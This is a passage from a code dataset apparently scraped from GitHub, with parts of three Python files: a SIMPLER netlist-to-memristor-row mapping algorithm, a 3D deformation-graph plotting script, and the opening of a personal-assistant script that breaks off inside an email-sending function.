else:\r\n            next_cell = self.cells[cell_idx].GetNext()\r\n            prev_cell = self.cells[cell_idx].GetPrev()\r\n            self.cells[cell_idx].SetNext(None)\r\n            self.cells[cell_idx].SetPrev(None)\r\n            self.cells[next_cell].SetPrev(prev_cell)\r\n            self.cells[prev_cell].SetPrev(next_cell)\r\n        \r\n# End of class CellState \r\n\r\n\r\n\r\nclass GraphNode:\r\n\r\n    def __init__(self,NodeNum):\r\n        self.node_num = NodeNum\r\n        self.out_edges = []\r\n        self.in_edges = []\r\n        self.num_of_out_edges = 0\r\n        self.num_of_in_edges = 0\r\n\r\n    def AddOutEdge(self,Dest,Val):\r\n        self.out_edges.append(GraphEdge(self.node_num,Dest,Val))\r\n        self.num_of_out_edges += 1\r\n\r\n    def AddInEdge(self,Source,Val):\r\n        self.in_edges.append(GraphEdge(Source,self.node_num,Val))\r\n        self.num_of_in_edges += 1\r\n        \r\n    def RemoveOutEdge(self,Dest):\r\n        for i,e in enumerate(self.out_edges):\r\n            if e.GetDest() == Dest:\r\n                del self.out_edges[i]\r\n                self.num_of_out_edges -= 1\r\n                break\r\n\r\n    def RemoveInEdge(self,Source):\r\n        for i,e in enumerate(self.in_edges):\r\n            if e.GetSource() == Source:\r\n                del self.in_edges[i]\r\n                self.num_of_in_edges -= 1\r\n                break\r\n\r\n    def GetNumOfOutEdges(self):\r\n        return self.num_of_out_edges\r\n\r\n    def GetNumOfInEdges(self):\r\n        return self.num_of_in_edges\r\n\r\n    def GetOutEdgesList(self,TrueDepFlag):\r\n        if TrueDepFlag:\r\n            return [e.GetDest() for e in self.out_edges if e.GetVal()==1]\r\n        else:\r\n            return [e.GetDest() for e in self.out_edges]\r\n\r\n    def GetInEdgesList(self,TrueDepFlag):\r\n        if TrueDepFlag:\r\n            L = [e.GetSource() for e in self.in_edges if e.GetVal()==1]\r\n            L.reverse()\r\n            return L\r\n        else:\r\n            return [e.GetSource() for e in self.in_edges]\r\n\r\nclass SIMPLER_Top_Data_Structure:\r\n\r\n    def __init__(self, RowSize, bmfId, Benchmark):\r\n        self.PRINT_WARNING = False\r\n        self.PRINT_CODE_GEN = False\r\n        self.JSON_CODE_GEN = False    \r\n        self.Benchmark = Benchmark\r\n        self.InputString = []\r\n        self.OutputString = []\r\n        self.WireString = []\r\n        self.varLegendRow = []\r\n        self.varLegendCol = []\r\n        self.len_input_and_wire = 0\r\n        self.lr = 0\r\n        self.lc = 0   \r\n        self.RowSize = RowSize\r\n        self.NumberOfGates = 0\r\n        self.number_of_outputs = 0\r\n        self.NodesList = []\r\n        self.i = 0\r\n        self.N = RowSize\r\n        self.t = 0 #TotalCycles\r\n        self.ReuseCycles = 0\r\n        self.LEAFS_inputs = []\r\n        self.NodesList = []\r\n        self.InitializationList = [] #composed of NoedData dummy instances\r\n        self.InitializationPercentage = 0.0\r\n        self.NoInputWireNum = 0\r\n        self.NoInputWireList = [] \r\n        self.Max_Num_Of_Used_Cells = 0  \r\n        self.UnConnected_wire = 0\r\n        self.cells = CellsInfo(self.N)\r\n        self.end_of_line_output_counter = 0\r\n\r\n\r\n        # read input/output/wire\r\n        tline = bmfId.readline()\r\n        while isinstance(tline, str):\r\n            comment_idx = tline.find('//')\r\n            if (comment_idx != -1):\r\n                tline = tline[0:comment_idx - 1]\r\n            input_idx = tline.find('input');\r\n            output_idx = tline.find('output');\r\n            wire_idx = tline.find('wire');\r\n            if (input_idx != -1):\r\n                self.InputString = self.readfield(tline[input_idx:], bmfId)\r\n            elif (output_idx != -1):\r\n                self.OutputString = self.readfield(tline[output_idx:], bmfId)\r\n            elif (wire_idx != -1):\r\n                self.WireString = self.readfield(tline[wire_idx:], bmfId)\r\n                break\r\n            tline = bmfId.readline()\r\n        # Map variables to numbers\r\n        self.varLegendCol = self.WireString + self.OutputString\r\n        self.varLegendRow = self.InputString + self.WireString + self.OutputString\r\n        self.len_input_and_wire = len(self.InputString + self.WireString)\r\n        self.lr = len(self.varLegendRow)\r\n        self.lc = len(self.varLegendCol)   \r\n        self.number_of_outputs = self.lr - self.len_input_and_wire\r\n        self.end_of_line_output_counter = self.N - self.number_of_outputs\r\n        self.i = self.lr - self.lc  # number of inputs\r\n        self.NodesList = [NodeData(idx) for idx in range(self.lr)]\r\n        for input_idx in range(len(self.InputString)):   \r\n            self.NodesList[input_idx].InsertInputNode()\r\n        self.readoperations(bmfId)  # parses the netlist         \r\n        self.LEAFS_inputs = list(range(self.i)) #Inputs indexes\r\n        \r\n    #Seters/geters:     \r\n    def Get_lr(self):\r\n        return self.lr\r\n    \r\n    def Get_lc(self):\r\n        return self.lc\r\n    \r\n    def GetTotalCycles(self):\r\n        return self.t\r\n    \r\n    def Increase_ReuseCycles_by_one(self):\r\n        self.ReuseCycles += 1 \r\n\r\n    def Inset_To_InitializationList(self,val):\r\n        self.InitializationList.append(val)\r\n        \r\n    def Get_InitializationList(self):\r\n        return self.InitializationList\r\n    \r\n    def Increase_NoInputWireNum_by_one(self):\r\n        self.NoInputWireNum += 1\r\n        \r\n    def Get_NoInputWireNum(self):\r\n        return self.NoInputWireNum\r\n\r\n    def Inset_To_NoInputWireList(self,val):\r\n        self.NoInputWireList.append(val)\r\n        \r\n    def Get_NoInputWireList(self):\r\n        return self.NoInputWireList   \r\n    \r\n    def Set_Max_Num_Of_Used_Cells(self,val):  \r\n        self.Max_Num_Of_Used_Cells = val\r\n    \r\n    def Get_Max_Num_Of_Used_Cells(self):\r\n        return self.Max_Num_Of_Used_Cells  \r\n\r\n    #The next 4 methods are wrappers for the corresponding methods on Code_Generation_Table_Line class    \r\n    def InsertInputNode(self,SN):\r\n        self.NodesList[SN].InsertInputNode(SN)\r\n        \r\n    def Insert_readoperations_parameters(self,SN,input_idxs,op):\r\n        self.NodesList[SN].Insert_readoperations_parameters(SN,input_idxs,op)\r\n        \r\n    def Insert_AllocateCell_parameters(self,line_num,cell):\r\n        self.NodesList[line_num].Insert_AllocateCell_parameters(cell,self.t)\r\n        \r\n    def Insert_No_Input_Node(self,SN):\r\n        self.NodesList[SN].Insert_No_Input_Node(SN) \r\n    #End of wrappers     \r\n\r\n    def Add_To_Initialization_List(self,time,cells_list):\r\n        #Adds an element to the Initialization\r\n        self.Inset_To_InitializationList(NodeData(None,NodeData.Get_Initialization_op_val(),cells_list,time))\r\n        self.Increase_ReuseCycles_by_one()          \r\n            \r\n    def Intrl_Print(self,Str):\r\n        global PRINT_CODE_GEN\r\n        if PRINT_CODE_GEN == True:\r\n            print(Str)\r\n\r\n    def PrintCodeGeneration(self):    \r\n        #Prints the data and the statistics, can create the benchmark's execution sequence JSON file\r\n                \r\n        print('\\\\\\\\\\\\\\\\\\\\\\\\ MAPPING OF',self.Benchmark,'WITH ROW SIZE =',self.RowSize,' \\\\\\\\\\\\\\\\\\\\\\\\\\n')\r\n        \r\n        #inputs\r\n        input_list_for_print = 'Inputs:{' \r\n        for input_idx in range(0,self.lr - self.lc):\r\n            if (self.NodesList[input_idx].GetNodeOp() != NodeData.Get_no_inputs_op_val()): \r\n                input_list_for_print += self.InputString[input_idx] + '(' + str(self.NodesList[input_idx].GetNodeMap()) + '),'                    \r\n        input_list_for_print = input_list_for_print[:len(input_list_for_print) - 1] + '}'\r\n        self.Intrl_Print(input_list_for_print)\r\n        \r\n        #outputs\r\n        output_len = len(self.OutputString)\r\n        ofst = self.lr - output_len \r\n        output_list_for_print = 'Outputs:{' \r\n        for output_idx in range(0,output_len):\r\n            idx = output_idx + ofst\r\n            if (self.NodesList[idx].GetNodeOp() != NodeData.Get_no_inputs_op_val()): #Has inputs\r\n                output_list_for_print += self.OutputString[output_idx] + '(' + str(self.NodesList[idx].GetNodeMap()) + '),'                    \r\n        output_list_for_print = output_list_for_print[:len(output_list_for_print) - 1] + '}'\r\n        self.Intrl_Print(output_list_for_print)\r\n\r\n        #Execution sequence\r\n        mergerd_list = self.NodesList + self.InitializationList\r\n        mergerd_list.sort(key = lambda k: k.GetNodeTime(), reverse=False) #Sorts by time\r\n        #execution_dict_for_JSON=OrderedDict({}) #JSON\r\n        cells_to_init_list = ['INIT_CYCLE(' + str(idx) + ')' for idx in range(self.i, self.RowSize)]\r\n        execution_dict_for_JSON=OrderedDict({'T0':'Initialization(Ron)'+ str(cells_to_init_list).replace('[','{').replace(']','}').replace(' ','')}) #JSON\r\n        self.Intrl_Print('\\nEXECUTION SEQUENCE + MAPPING: {')\r\n        for node in mergerd_list:\r\n            if (node.GetNodeOp() == NodeData.Get_Initialization_op_val()):            \r\n                init_list_to_print = '{'\r\n                for pair in node.GetNodeInputs_list(): #in a case of Initialization, inputs_list composed of [gate_number,cell_number] elements\r\n                    init_list_to_print += self.varLegendRow[pair[0]] + '(' + str(pair[1]) + '),'\r\n                init_list_to_print = init_list_to_print[:len(init_list_to_print) - 1] + '}' \r\n                self.Intrl_Print('T' + str(node.GetNodeTime()) + ':Initialization(Ron)' +  init_list_to_print)\r\n                execution_dict_for_JSON.update({'T' + str(node.GetNodeTime()) : 'Initialization(Ron)' +  init_list_to_print})  #JSON \r\n            else:    \r\n                node_name = self.varLegendRow[node.GetNodeNum()]\r\n                if (node.GetNodeTime() != 0): #not an input\r\n                    inputs_str = ''        \r\n                    for Input in node.GetNodeInputs_list():\r\n                        inputs_str = inputs_str + self.varLegendRow[Input] + '(' + str(self.NodesList[Input].GetNodeMap()) + ')' + ','\r\n                    inputs_str = '{' + inputs_str[:len(inputs_str) - 1] + '}'\r\n                    self.Intrl_Print('T' + str(node.GetNodeTime()) + ':' + node_name + '(' + str(node.GetNodeMap()) +')=' + node.GetNodeOp() + inputs_str)\r\n                    execution_dict_for_JSON.update({'T' + str(node.GetNodeTime()) : node_name + '(' + str(node.GetNodeMap()) +')=' + node.GetNodeOp() + inputs_str}) #JSON\r\n                elif (node.GetNodeOp() != NodeData.Get_no_inputs_op_val()): #line.time = 0 -- inputs\r\n                    self.Intrl_Print('T' + str(node.GetNodeTime()) + ':' + node_name + '(' + str(node.GetNodeNum()) +')=' + node.GetNodeOp())    \r\n                    #execution_dict_for_JSON.update({'T' + str(node.GetNodeTime()) : node_name + '(' + str(node.GetNodeMap()) +')=' + node.GetNodeOp()}) #JSON                    \r\n        self.Intrl_Print('}')         \r\n        \r\n        #Statistics\r\n        print ('\\nRESULTS AND STATISTICS:')\r\n        print ('Benchmark:',self.Benchmark)\r\n        print ('Total number of cycles:',self.t)\r\n        print ('Number of reuse cycles:',self.ReuseCycles)\r\n        self.InitializationPercentage = self.ReuseCycles/self.t\r\n        print ('Initialization percentage:',self.InitializationPercentage)\r\n        connected_gates = self.lc - self.NoInputWireNum\r\n        print ('Number of gates:',connected_gates)\r\n        #print ('Max number of used cells:',self.Max_Num_Of_Used_Cells)\r\n        print ('Row size (number of columns):',self.RowSize,'\\n\\n')\r\n\r\n        #JSON creation\r\n        if (JSON_CODE_GEN == True):\r\n            top_JSON_dict=OrderedDict({'Benchmark':(self.Benchmark + '_' + str(self.RowSize))}) #JSON\r\n            top_JSON_dict.update({'Row size':self.RowSize})\r\n            top_JSON_dict.update({'Number of Gates':connected_gates})\r\n            top_JSON_dict.update({'Inputs':input_list_for_print[len('Inputs:'):]})\r\n            top_JSON_dict.update({'Outputs':output_list_for_print[len('Outputs:'):]})\r\n            top_JSON_dict.update({'Number of Inputs':len(self.InputString)})\r\n            top_JSON_dict.update({'Number of outputs':len(self.OutputString)})\r\n            #top_JSON_dict.update({'Number of Intermediates':(connected_gates - len(self.InputString) - len(self.OutputString))})\r\n            top_JSON_dict.update({'Total cycles':self.t})\r\n            top_JSON_dict.update({'Reuse cycles':self.ReuseCycles})\r\n            top_JSON_dict.update({'Execution sequence' : execution_dict_for_JSON})\r\n            #print('Benchmark= ',Benchmark)                             \r\n            with open('JSON_' + str(self.RowSize) + '_' + self.Benchmark + '.json','w') as f:\r\n                simplejson.dump(top_JSON_dict,f,indent=4)\r\n            f.close()                \r\n\r\n\r\n    def PrintLines(self):\r\n        for line in self.code_generation_table:\r\n            line.LineIntrlPrint()\r\n        \r\n    def PrintLines_InitializationList(self):\r\n        for line in self.InitializationList:\r\n            line.LineIntrlPrint()\r\n        \r\n    def readfield(self,tline,bmfId):\r\n        #Parses the Inputs/Outputs/Wires declarations into a list\r\n\r\n        FieldString = []\r\n        while isinstance(tline,str):\r\n            splited_tline = tline[tline.find(' '):].split(',')\r\n            for i in list(filter(None,splited_tline)):\r\n                FieldString.append(i.replace(' ','').replace(';','').replace('\\n','').replace('\\t',''))\r\n            if (tline.find(';') != -1):\r\n                break\r\n            else:\r\n                tline = bmfId.readline()\r\n        return  list(filter(None,FieldString))\r\n\r\n\r\n    def readoperations(self,bmfId):\r\n        #Parses the netlist assignments into a graph (matrix) \r\n\r\n        global code_generation_top,PRINT_WARNING \r\n        \r\n        tline = bmfId.readline()\r\n        while isinstance(tline,str):\r\n            operands = []\r\n            if tline.find('//') != -1: #Ignore comment lines at operands part\r\n                tline = tline[0:tline.find('//')]\r\n            if (tline.find(\"endmodule\") != -1):\r\n                return \r\n            elif ((tline.find(\"buf \") != -1) or (tline.find(\"zero \") != -1) or (tline.find(\"one \") != -1)):\r\n                if (PRINT_WARNING == True):\r\n                    print(\"** Warning ** unsupported operation: \\'\" + tline.replace('\\n','') + \"\\'\\n\")\r\n            elif ((tline.find(\"inv\") != -1) or (tline.find(\"nor\") != -1)):\r\n                \r\n                idx_op = tline.find(\"nor\")\r\n                if (idx_op != -1):\r\n                    op = tline[idx_op:idx_op + len('nor') + 1] #op = \"nor(#inputs)\"\r\n                else:\r\n                    op = 'inv1' \r\n                remain = tline\r\n                num_of_op = 0\r\n                while (remain.find('.') != -1):\r\n                    remain = remain[remain.find('.'):]\r\n                    remain = remain[remain.find('(') + 1:]\r\n                    open_bracket_idx = remain.find('(')\r\n                    close_bracket_idx = remain.find(')')\r\n                    #Gets the operands\r\n                    if (open_bracket_idx != -1) and (open_bracket_idx < close_bracket_idx):\r\n                        second_close_bracket_idx = remain.find(')',close_bracket_idx + 1)\r\n                        operands.append(remain[0:second_close_bracket_idx].replace(' ','').replace('\\t',''))\r\n                    else:\r\n                        operands.append(remain[0:close_bracket_idx].replace(' ','').replace('\\t',''))\r\n                    num_of_op += 1\r\n                    out = operands[num_of_op - 1] #Gets the output operand\r\n                outIdx = self.varLegendCol.index(out)\r\n                input_idxs = []\r\n                for k in range(0,num_of_op - 1):\r\n                    inIdx = self.varLegendRow.index(operands[k])\r\n                    self.NodesList[inIdx].AddOutEdge(outIdx + self.i,1) #TODO - remove self.i\r\n                    self.NodesList[outIdx + self.i].AddInEdge(inIdx,1)\r\n                    input_idxs.append(inIdx) #Gate inputs list\r\n                self.Insert_readoperations_parameters(outIdx + (self.lr -self.lc),input_idxs,op) #For statistics      \r\n            tline = bmfId.readline()            \r\n\r\n    def GetRoots_list(self): \r\n        #Returns the graph roots. Also calculates the FO array.\r\n        roots = []\r\n        for i,node in enumerate(self.NodesList):\r\n            row_sum = node.GetNumOfOutEdges()\r\n            if (row_sum == 0):\r\n                if ((node.GetNumOfInEdges()) != 0):\r\n                    roots.append(i)\r\n                else:\r\n                    if (PRINT_WARNING == True):\r\n                        print('** Warning **',self.varLegendRow[i],'has no input')\r\n                    self.Increase_NoInputWireNum_by_one()\r\n                    self.Inset_To_NoInputWireList(i)\r\n            else:\r\n                self.NodesList[i].SetNodeFO(row_sum) \r\n        print('\\n')\r\n        return roots    \r\n\r\n    def GetParents_list(self,V_i):\r\n        return self.NodesList[V_i].GetOutEdgesList(True)\r\n\r\n    def GetChildrens_list(self,V_i): \r\n        return self.NodesList[V_i].GetInEdgesList(True)\r\n    \r\n    def ChildrenWithoutInputs_list(self,V_i):\r\n        #Returns the childrens without netlist inputs\r\n    \r\n        childrens = self.GetChildrens_list(V_i)\r\n        childrens_without_inputs = [child for child in childrens if (child in self.LEAFS_inputs) == False]\r\n        return childrens_without_inputs\r\n\r\n    def computeCU(self,V_i):\r\n        #Computes the cell usage (CU) of gate (node) V_i  \r\n        if (self.NodesList[V_i].GetNodeCu() > 0):\r\n            return # CU[V_i] was already generated and therefore doesn't change   \r\n        childrens = self.ChildrenWithoutInputs_list(V_i)\r\n        if(len(childrens) == 0): #V_i has no childrens -> V_i is connected to function inputs only\r\n            self.NodesList[V_i].SetNodeCu(1)\r\n        else:\r\n            if (len(childrens) == 1):\r\n                self.computeCU(childrens[0])\r\n                tmp = self.NodesList[childrens[0]].GetNodeCu()\r\n                self.NodesList[V_i].SetNodeCu(tmp)\r\n            else:\r\n                childrens_cu = []\r\n                for child in childrens:\r\n                    self.computeCU(child)\r\n                    childrens_cu.append(self.NodesList[child].GetNodeCu())\r\n                childrens_cu.sort(key=None, reverse=True)               \r\n                num_of_childrens = range(0,len(childrens)) # equal to + (i - 1) for all i in 1 to N (N is the number of childrens)           \r\n                self.NodesList[V_i].SetNodeCu(max(np.add(childrens_cu,num_of_childrens)))\r\n            \r\n\r\n    def AllocateRow(self,V_i):\r\n        #Allocates cells to the gate V_i and his children (a sub-tree rooted by V_i). \r\n        #In a case the allocation for one of V_i's children or V_i itself is failed, the function returns False. On successful allocation returns True.\r\n        childrens = self.ChildrenWithoutInputs_list(V_i) #Equal to C(V_i) - the set of V_i's childrens\r\n        childrens_sorted_by_cu = [[child,self.NodesList[child].GetNodeCu()] for child in childrens] # the loop creates a list composed of pairs of the form [child number, CU[child number]]\r\n        childrens_sorted_by_cu.sort(key = lambda k: k[1], reverse=True) #sorting by CU   \r\n        childrens_sorted_by_cu = [elm[0] for elm in childrens_sorted_by_cu] #taking only the child (vertex) number       \r\n        for V_j in childrens_sorted_by_cu:            \r\n            if (self.NodesList[V_j].GetNodeMap() == 0):\r\n                if (self.AllocateRow(V_j) == False):\r\n                    return False\r\n        if (self.NodesList[V_i].GetNodeMap() == 0): #V_i is not mapped\r\n            self.NodesList[V_i].SetNodeMap(self.AllocateCell(V_i))    \r\n            if (self.NodesList[V_i].GetNodeMap() == 0): #V_i could not be mapped\r\n                return False\r\n        return True\r\n\r\n    def AllocateCell(self,V_i):\r\n        global END_OF_LINE_OUTPUT\r\n\r\n        #FreCcell = None\r\n        if END_OF_LINE_OUTPUT and (V_i >= self.len_input_and_wire): #if end of line output mode & outpur node allocation\r\n            FreeCell = self.end_of_line_output_counter\r\n            self.end_of_line_output_counter += 1\r\n        else:\r\n            FreeCell = self.cells.GetFirst_Available()\r\n            if FreeCell == None:\r\n                if self.cells.IsNotEmpty_Init():\r\n                    self.t += 1\r\n                    self.Add_To_Initialization_List(self.t, self.cells.init_list_for_json)\r\n                    self.cells.Concatenate_init_to_available_list()\r\n                    self.cells.Empty_Init()\r\n                    FreeCell = self.cells.GetFirst_Available()\r\n                else:\r\n                    return 0\r\n            self.cells.DeleteFirst_Available()\r\n            self.cells.Insert_Used(FreeCell,V_i)\r\n        self.t += 1\r\n        self.Insert_AllocateCell_parameters(V_i,FreeCell)\r\n        for V_k in self.ChildrenWithoutInputs_list(V_i):\r\n            self.NodesList[V_k].SetNodeFO(self.NodesList[V_k].GetNodeFO() - 1)\r\n            if (self.NodesList[V_k].GetNodeFO() == 0):\r\n                cell_to_be_moved = self.NodesList[V_k].GetNodeMap()\r\n                self.cells.Delete_Used(cell_to_be_moved)\r\n                self.cells.Insert_Init(cell_to_be_moved)\r\n        return FreeCell\r\n\r\n              \r\n    def IncreaseOutputsFo(self):\r\n        # This function created to make sure outputs cells will not evacuated.\r\n        #It is done by increasing their FO by 1\r\n\r\n        for idx in range(self.len_input_and_wire,self.lr): #outputs idx range\r\n            self.NodesList[idx].SetNodeFO(self.NodesList[idx].GetNodeFO() + 1)\r\n            \r\n            \r\n    def RunAlgorithm(self):\r\n            global END_OF_LINE_OUTPUT    \r\n\r\n            #================ SIMPLER algorithm Starts ================ \r\n            \r\n            #FO array initialized in __init__\r\n            #Cell Usage array initialized in __init__\r\n            #Map is the number of the cell/column V_i is mapped to. Array initialized in __init__      \r\n            #CELLS list initialization \r\n            ROOTs = self.GetRoots_list() #set of all roots of the graph. Also calculates FO values.\r\n            self.IncreaseOutputsFo() # To ensure outputs who are also inputs, will not be evacuated\r\n            self.t = 0 #Number of clock cycles        \r\n\r\n            for netlist_input in range(0,self.i):\r\n                self.cells.Insert_Used(netlist_input,netlist_input)\r\n            if END_OF_LINE_OUTPUT:\r\n                for cell in range(self.i,self.N - self.number_of_outputs):\r\n                    self.cells.Insert_Available(cell)\r\n            else:\r\n                for cell in range(self.i,self.N):\r\n                    self.cells.Insert_Available(cell) \r\n            #alg start here\r\n            t1 = time.time()#time\r\n            for r in ROOTs:\r\n                self.computeCU(r)\r\n            if SORT_ROOTS == 'NO':\r\n                for r in ROOTs:    \r\n                    if (self.AllocateRow(r) == False):\r\n                        print('\\\\\\\\\\\\\\\\\\\\\\\\ MAPPING OF',self.Benchmark,'WITH ROW SIZE =',self.N,' \\\\\\\\\\\\\\\\\\\\\\\\\\n')\r\n                        print('False - no mapping\\n')\r\n                        #code_generation_success_flag = False #Printing flag \r\n                        #break #To enable multiple runs. To fit the code to the article, comment this line, and uncomment the two next lines. \r\n                        return False #Cannot find mapping\r\n                t2 = time.time()\r\n                print('time is:',t2-t1)#time\r\n                return True #A mapping of the entire netlist was found \r\n            else:        \r\n                sorted_ROOTs = [[r,self.NodesList[r].GetNodeCu()] for r in ROOTs]\r\n                if SORT_ROOTS == 'DESCEND':\r\n                    sorted_ROOTs.sort(key = lambda k: k[1], reverse=True)\r\n                elif SORT_ROOTS == 'ASCEND':\r\n                    sorted_ROOTs.sort(key = lambda k: k[1], reverse=False)\r\n                for sr in sorted_ROOTs:    \r\n                    if (self.AllocateRow(sr[0]) == False):\r\n                        print('\\\\\\\\\\\\\\\\\\\\\\\\ MAPPING OF',self.Benchmark,'WITH ROW SIZE =',self.N,' \\\\\\\\\\\\\\\\\\\\\\\\\\n')\r\n                        print('False - no mapping\\n')\r\n                        return False #cannot find mapping\r\n                return True          \r\n\r\n\r\n#============ End of Globals variables and Classes ==============\r\n\r\n\r\n   \r\n#======================== SIMPLER MAPPING =======================\r\ndef SIMPLER_Main (BenchmarkStrings, Max_num_gates, ROW_SIZE, Benchmark_name, generate_json, print_mapping, print_warnings, end_of_line_output):\r\n    global JSON_CODE_GEN, PRINT_CODE_GEN, PRINT_WARNING, SORT_ROOTS, END_OF_LINE_OUTPUT\r\n    \r\n    #print controls\r\n    JSON_CODE_GEN = generate_json\r\n    PRINT_CODE_GEN = print_mapping\r\n    PRINT_WARNING = print_warnings\r\n    SORT_ROOTS = 'NO' #Set to one of the follows: 'NO, 'ASCEND' 'DESCEND'\r\n    END_OF_LINE_OUTPUT = end_of_line_output\r\n    \r\n    for Row_size in ROW_SIZE: \r\n        for Benchmark in BenchmarkStrings:\r\n            \r\n            #Parse operations \r\n            bmfId = open(Benchmark,\"r\") #open file       \r\n            SIMPLER_TDS = SIMPLER_Top_Data_Structure(Row_size,bmfId,Benchmark_name)\r\n                          \r\n            if (SIMPLER_TDS.Get_lr()>Max_num_gates or SIMPLER_TDS.Get_lc()>Max_num_gates):\r\n                print(\"** net too big, skip \" + str(SIMPLER_TDS.Get_lr()) +\" X \" + str(SIMPLER_TDS.Get_lc()) + \"\\n\")\r\n                continue\r\n                              \r\n            #Statistics calculations \r\n            SIMPLER_TDS.Set_Max_Num_Of_Used_Cells(CellInfo.get_max_num_of_used_cells())\r\n            code_generation_success_flag =SIMPLER_TDS.RunAlgorithm()\r\n            if (code_generation_success_flag == True):\r\n                SIMPLER_TDS.PrintCodeGeneration() \r\n            \r\n            #Benchmark's end \r\n            bmfId.close() #close file\r\n            CellInfo.Set_cur_num_of_used_cells_to_zero() #need to initiate because its a class variable\r\n            CellInfo.Set_max_num_of_used_cells_to_zero() #need to initiate because its a class variable\r\n            print('\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ \\n')\r\n\r\n#=========================== End of SIMPLER MAPPING ===========================\r\n\r\n#============================== End of code ===================================\r\n","repo_name":"RotemBenHur/SIMPLER-MAGIC","sub_path":"SIMPLER_Mapping.py","file_name":"SIMPLER_Mapping.py","file_ext":"py","file_size_in_byte":36921,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"}
{"seq_id":"32283583531","text":"#!/usr/bin/env python3\nimport argparse\nimport numpy as np\nfrom mpl_toolkits.mplot3d.art3d import Line3DCollection\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d.axes3d import Axes3D\n\ndef read_node_line(line_str):\n    entries = line_str.split()\n    return long(entries[1]), [float(entries[2]), float(entries[3]), float(entries[4])]\n\ndef read_edge_line(line_str):\n    entries = line_str.split()\n    return [long(entries[1]), long(entries[2])]\n\ndef read_dgrf_file(filename):\n    file = open(filename, 'r')\n    lines = file.readlines()\n\n    nodes = {}\n    betweens = []\n    temp_betweens = []\n    dedges = []\n    temp_dedges = []\n    for line in lines:\n        if line.startswith(\"NODE\"):\n            key, pos = read_node_line(line)\n            nodes[key] = pos\n        elif line.startswith(\"BETWEEN_TEMP\"):\n            temp_betweens.append(read_edge_line(line))\n        elif line.startswith(\"BETWEEN\"):\n            betweens.append(read_edge_line(line))\n        elif line.startswith(\"DEDGE_TEMP\"):\n            temp_dedges.append(read_edge_line(line))\n        elif line.startswith(\"DEDGE\"):\n            dedges.append(read_edge_line(line))\n    return nodes, betweens, temp_betweens, dedges, temp_dedges\n\ndef generate_segments(edges, nodes):\n    source = []\n    target = []\n    for e in edges: \n        source.append(nodes[e[0]])\n        target.append(nodes[e[1]])\n    return np.hstack([np.array(source), np.array(target)])\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"utiltiy to plot a deformation graph.\"\n    )\n    parser.add_argument(\"dgrf\", type=str, help=\"input .dgrf file.\")\n    args = parser.parse_args()\n\n    nds, btns, tbtns, degs, tdegs = read_dgrf_file(args.dgrf)\n\n    all_pos = np.array(nds.values())\n    x_min = np.min(all_pos[:,0])\n    x_max = np.max(all_pos[:,0])\n    y_min = np.min(all_pos[:,1])\n    y_max = np.max(all_pos[:,1])\n    z_min = np.min(all_pos[:,2])\n    z_max = np.max(all_pos[:,2])\n\n    btn_segs = generate_segments(btns, nds)\n    tbtns_segs = generate_segments(tbtns, nds)\n    degs_segs = generate_segments(degs, nds)\n    tdegs_segs = generate_segments(tdegs, nds)\n\n    fig = plt.figure()\n    ax = fig.gca(projection='3d')\n    btn_segs = btn_segs.reshape((-1,2,3))\n    ax.add_collection(Line3DCollection(btn_segs, linewidths=0.5, colors='b'))\n    degs_segs = degs_segs.reshape((-1,2,3))\n    ax.add_collection(Line3DCollection(degs_segs, linewidths=0.5, colors='r'))\n    tbtns_segs = tbtns_segs.reshape((-1,2,3))\n    ax.add_collection(Line3DCollection(tbtns_segs, linewidths=0.5, colors='g'))\n    tdegs_segs = tdegs_segs.reshape((-1,2,3))\n    ax.add_collection(Line3DCollection(tdegs_segs, linewidths=0.5, colors='m'))\n\n\n    ax.set_xlim3d(x_min - 1.0, x_max + 1.0)\n    ax.set_ylim3d(y_min - 1.0, y_max + 1.0)\n    ax.set_zlim3d(z_min - 1.0, z_max + 1.0)\n\n    plt.show()\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"MIT-SPARK/Kimera-PGMO","sub_path":"scripts/plot_dgrf.py","file_name":"plot_dgrf.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"19"}
{"seq_id":"650638648","text":"import datetime # library for date and time\nfrom pytz import timezone # to select timezone of INDIA (or any other country)\nimport smtplib # library used to send mails\nfrom email.message import EmailMessage \n#import pyautogui\nimport webbrowser as wb\nfrom time import sleep\nimport wikipedia\n#import pywhatkit\nimport requests\nfrom newsapi import NewsApiClient\nimport pyjokes\nimport string \nimport random\nimport psutil\nimport nltk\nimport numpy as np\n\n#Punkt Tokenizer\nnltk.download('punkt')\n#WordNet Dictionary\nnltk.download('wordnet') \nnltk.download('omw-1.4')\n\nlemmer=nltk.stem.WordNetLemmatizer()\ndef LemTokens(tokens):\n  return [lemmer.lemmatize(token) for token in tokens]\nremove_punct_dict=dict((ord(punct),None) for punct in string.punctuation)\ndef LemNormalize(text):\n  return LemTokens(nltk.word_tokenize(text.lower().translate(remove_punct_dict)))\n\n\ndef time():\n  Time = datetime.datetime.now(timezone('Asia/Calcutta')).strftime(\"%H:%M:%S\") # H-> Hour, M-> Minutes, S-> Seconds\n  ans = (\"The current time is : \" + Time)\n  return ans\n\ndef day():\n  Day = datetime.datetime.now().strftime(\"%A\")\n  ans = (\"The current day is : \" + Day)\n  return ans\n\ndef date():\n  Year = int(datetime.datetime.now().year)\n  Month = int(datetime.datetime.now().month)\n  Date = int(datetime.datetime.now().day)\n  ans = (\"The current date is : \" + str(Date) + \" \" + str(Month) + \" \" + str(Year))\n  return ans\n\n\ndef wishme():\n    hour = datetime.datetime.now(timezone('Asia/Calcutta')).hour\n    if hour >= 6 and hour < 12:\n        ans=(\"Good morning!\")\n    elif hour >= 12 and hour < 18:\n        ans=(\"Good afternoon!\")\n    elif hour >= 18 and hour < 24:\n        ans=(\"Good evening!\")\n    else:\n        ans=(\"Good night!\")\n    return ans\n\ndef takeInput():\n  var = input(\"\\nPlease tell me how can i help you? : \")\n  return str(var)\n\n# need to pass two parameters (\"content\", \"to\") as function variables\ndef sendEmail(receiver, subject, content):\n  server 